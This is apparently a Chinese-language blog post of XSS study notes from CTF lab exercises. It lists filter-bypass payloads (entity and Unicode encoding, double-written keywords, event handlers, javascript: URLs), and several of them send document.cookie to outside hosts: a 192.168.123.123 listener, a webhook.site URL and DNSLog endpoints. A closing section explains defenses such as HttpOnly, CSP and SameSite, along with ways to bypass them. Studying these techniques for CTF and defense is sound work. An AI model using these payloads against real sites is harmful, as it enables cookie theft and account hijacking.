XSS-学习笔记-1

KaldX

在完成BUUCTF在线评测(XSS-Lab)时的笔记。
在完成ctf.show - WEB入门 - XSS时的笔记。

测试方法

  • 基础测试:<script>alert('xss')</script>
  • 探测过滤规则:" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;
  • 使用EXP分析过滤机制

基础XSS方法

  • 闭合双引号情况:
    • "><script>alert('1')</script>
  • ![[Pasted image 20250323111947.png|Pasted image 20250323111947.png]]
    • Cookie窃取: </h2><script>var i=new Image();i.src="http://192.168.123.123:8080/x?c="+encodeURIComponent(document.cookie);</script>
    • SVG 和 onload 事件
1
http://xxx.challenge.ctf.show/?msg=<svg onload="var i=new Image();i.src='https://webhook.site/78cda693-5792-473a-a0c7-4715829d7b0a/x?c='+encodeURIComponent(document.cookie);">

无法使用<>标签情况

  • 采用onclick/onfocus触发事件
  • 利用事件属性触发XSS:
    • ' onclick ='javascript:alert(1)'//
  • ![[Pasted image 20250323112825.png|Pasted image 20250323112825.png]]
  • Cookie窃取(自动执行): keyword=" autofocus onfocus="var i=new Image();i.src='http://192.168.123.123:8080/x?c='+document.cookie;" "
  • 自动focus触发,利用属性绕过限制

关键词被过滤的情况

当onclick和script被过滤

  • 闭合标签并利用a标签引用script,创建link
  • 发现:onlick -> o_click,同时script -> scr_ipt,无法弹窗
  • 闭合后通过a标签引用script超链接完成,点击link即可弹窗
  • "><a href="javascript:alert("1")">link</a>

当空格被过滤

  • 空格被过滤 使用 / 绕过
  • 例如:<svg/onload="location.href='https://webhook.site/xxxxxxxx/x?c='+document.cookie"/>

编码绕过检测

  • HTML解析器会将HTML实体编码转换为对应的字符。因此我们采用HTML实体编码绕过转换为对应的字符。
  • 例如我们有常见的”on”编码方式:
    • &#111;&#110; (十进制编码)
    • &#x6f;&#x6e; (十六进制编码)
  • 因此我们也很好得到混合编码方式,十六进制编码表示”o”和十进制编码表示”n”的组合方式。

属性拆分技术

  • 可以在关键单词中插入字符或空格,但浏览器仍会正确解析。
  • 换行符(%0A)插入”on”中间。

大小写混合与双重编码

  • 浏览器的事件处理是不区分大小写的。双重编码则是对已编码的字符再次编码。
  • “on”的”n”使用了大写字母的编码(4E而不是6e),同时将整个事件名与属性拆分开。
  • ?keyword=" &#x6f;&#x4E;error="var i=new Image();i.src='http://192.168.123.123:8080/x?c='+document.cookie;" src=x "

动态代码拼接

1
http://192.168.1.1:8080/xss-labs-master/level4.php?keyword=" id=xss href="javascript:eval('var ev=\'o\'+\'n\'+\'click\';document.getElementById(\'xss\').setAttribute(ev,function(){var i=new Image();i.src=\'http://192.168.123.123:8080/x?c=\'+document.cookie;});document.getElementById(\'xss\').click()')" "

关键词双写绕过

  • script和on等函数被过滤,因此我们可以采用针对性的双写来进行绕过。
  • "><scscriptript>alert("1")</scscriptript>
  • -> "><script>alert("1")</script>

href属性特性利用

  • 观察传参位置
  • href属性会自动解析Unicode编码
  • 因此我们可以插入一段js伪协议,并通过Unicode编码
  • 例如:javascript:alert()->&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

    补充
    JavaScript伪协议(javascript:)

    • 允许在URL位置直接执行JavaScript代码
    • 不需要使用”on”事件处理器
    • 可在多种属性中使用,如hrefsrcaction
    • 利用javascript:location='http://192.168.123.123:8080/x?c='+document.cookie(界面跳转)实现cookies转发
    • 不受 CORS 限制:与 fetch() 或 XMLHttpRequest 不同,使用 location 进行重定向不受同源策略限制(因为导航操作本身允许跨域)

    浏览器会自动将Unicode编码

    • \u0061\u006c\u0065\u0072\u0074转换为实际字符(这个例子中是”alert”)。利用这一特性,可以避免使用明文敏感词。
    • Unicode转义序列: \uXXXX(十六进制)
    • URL编码: %XX(十六进制)
    • HTML实体: &#xXX;&#XX;

传参格式检查

特定字符串检查

  • 如基于strpos定位是否String中是否存在指定字符串,如果检查含有”http”,可以注释掉: javascript:alert()/* http:// */
  • 例如我们可以有:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/* http:// */

隐藏传参方式

  • GET or POST 传参
  • 其他隐藏的传参方法 可能存在(例如hidden的input)
  • 根据源码猜解参数名,隐藏的input标签插入type=”text”显示

header传参

  • 通过Referer/Cookie/User-Agent注入XSS
  • 使用Burp或Hackbar修改请求头

EXIF XSS漏洞

  • 在图片元数据中插入XSS代码,然后上传图片实现弹窗。

查找页面内含有flag的字段

1
2
<script>$('.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('ctf'+'show{')>-1)  
{window.location.href='http://127.0.0.1/X.php?1='+value.innerHTML;}});</script>

HTML实体化编码

  • HTML实体化(Entity Encoding)是指将特殊字符转换为HTML实体编码的过程。
  • HTML实体是以&开头,以;结尾的字符序列,用来在HTML代码中表示特殊字符。

实体化的两种主要编码方式

1. 命名实体

使用预定义的名称表示特定字符:

  • &lt; 表示 <
  • &gt; 表示 >
  • &quot; 表示 "
  • &amp; 表示 &
2. 数字实体

使用字符的ASCII或Unicode值来表示:

  • 十进制: &#码值;
    例如: &#60; 表示 <
  • 十六进制: &#x码值;
    例如: &#x3C; 表示 <

为什么实体化可以绕过XSS过滤?

解析时机差异

  1. 服务器端过滤:过滤器检查原始字符串,寻找危险模式如<script>onload
  2. 浏览器解析:浏览器接收到响应后,会先将HTML实体解码为原始字符,再解析执行
    这个差异创造了绕过机会。例如,过滤器可能拦截onload,但不会拦截&#111;&#110;load,而浏览器会将后者解析为onload

HTML标签名<&#115;cript>
属性名<img &#111;&#110;click=alert(1)>
属性值<img src="&#106;avascript:alert(1)">


DNSLog服务

  • DNSLog利用DNS请求记录来接收数据,可以绕过防火墙和同源策略。
  • 获取专属域名,如abc123.DNSLOG.SERVICE构造XSS payload
1
2
3
<script>
fetch('http://'+document.cookie+'.abc123.DNSLOG.SERVICE/');
</script>

Webhook服务

  • Webhook服务提供临时URL接收并显示请求内容。
  • 平台实时显示收到的请求,可查看完整请求头和参数。
  • 访问平台获取唯一URL,如https://webhook.SERVICE/abc123def456
    构造XSS payload:
1
2
3
<script>
fetch('https://webhook.SERVICE/abc123def456?cookie='+encodeURIComponent(document.cookie));
</script>

Burp Collaborator

  • 等待更新

XSS防御机制与绕过

原理

  • 当服务器设置Cookie时添加HttpOnly标志
  • 这些Cookie只能通过HTTP/HTTPS协议传输
  • 浏览器禁止JavaScript通过document.cookie访问这些Cookie
  • 设置方式:Set-Cookie: sessionid=abc123; HttpOnly

绕过可能性

  • 直接绕过几乎不可能:HttpOnly是浏览器级别的强制实现
  • 间接绕过方法
    • 会话固定攻击:如果应用程序在认证前已设置会话ID
    • 中间人攻击:如果网站未使用HTTPS
    • 利用其他漏洞:如CSRF攻击结合应用程序逻辑漏洞
    • 利用服务器响应中的泄露:某些应用可能在响应中回显Cookie值

局限性

  • 只保护Cookie,不防止其他类型的XSS攻击
  • 不保护非Cookie的敏感数据(如localStorage内容)

2. 输入验证和转义

原理

  • 输入验证:检查和过滤用户输入中的危险模式(如<script>标签)
  • 输出转义:在显示用户输入前将特殊字符转换为HTML实体
    • <转换为&lt;"转换为&quot;
  • 上下文感知转义:根据数据使用位置采用不同转义策略

绕过技术

  • 编码变异:使用各种编码(HTML实体、URL编码、Unicode)
    1
    &#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;
  • 大小写混淆:利用HTML解析不区分大小写
    1
    <sCRipT>alert(1)</scRIPt>
  • 利用过滤器缺陷
    1
    <scr<script>ipt>alert(1)</scr</script>ipt>
  • 利用不同上下文
    1
    2
    3
    4
    5
    <!-- JavaScript上下文 -->
    ";alert(1);//

    <!-- 属性上下文 -->
    " onmouseover="alert(1)
  • 过滤器差异:过滤时的解析与浏览器解析不一致

3. 内容安全策略(CSP)

原理

  • 通过HTTP头Content-Security-Policy<meta>标签定义
  • 控制浏览器可加载和执行的资源来源
  • 策略指令示例:
    1
    Content-Security-Policy: script-src 'self' https://trusted.com
  • 可以禁用内联JavaScript和eval()等危险功能

绕过技术

  • 利用配置错误:如unsafe-inline或宽松的源策略
  • JSONP端点滥用:利用允许的域中的JSONP回调
  • Angular等框架漏洞:部分框架可能有CSP绕过漏洞
  • 基于DOM的攻击:CSP主要防御注入,对纯DOM型攻击防护较弱
  • 通过允许的域:将payload托管在被CSP信任的域上
  • 使用预加载脚本:如CDN上的jQuery漏洞

原理

  • 控制Cookie在跨站请求中的发送行为
  • 三种可能值:
    • Strict:仅同站点请求发送Cookie
    • Lax(现代浏览器默认):同站点请求和部分跨站顶级导航发送Cookie
    • None:所有请求都发送Cookie(需要配合Secure使用)
  • 设置方式:Set-Cookie: sessionid=abc123; SameSite=Strict; Secure

绕过技术

  • 对SameSite=Lax的绕过
    • 利用GET请求顶级导航(如<link rel="prerender">, window.open(), <form method="get">)
  • 浏览器实现不一致:旧版浏览器可能不支持SameSite
  • 子域利用:同站定义包括子域,evil.example.comexample.com被视为同站
  • DNS错误配置:网站DNS配置错误可能被利用
  • META标签重定向:某些重定向方式可能保留Cookie
  • Title: XSS-学习笔记-1
  • Author: KaldX
  • Created at : 2025-03-25 20:00:00
  • Updated at : 2025-03-25 20:00:00
  • Link: https://blog.kaldx.com/2025/03/25/XSS-学习笔记-1/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments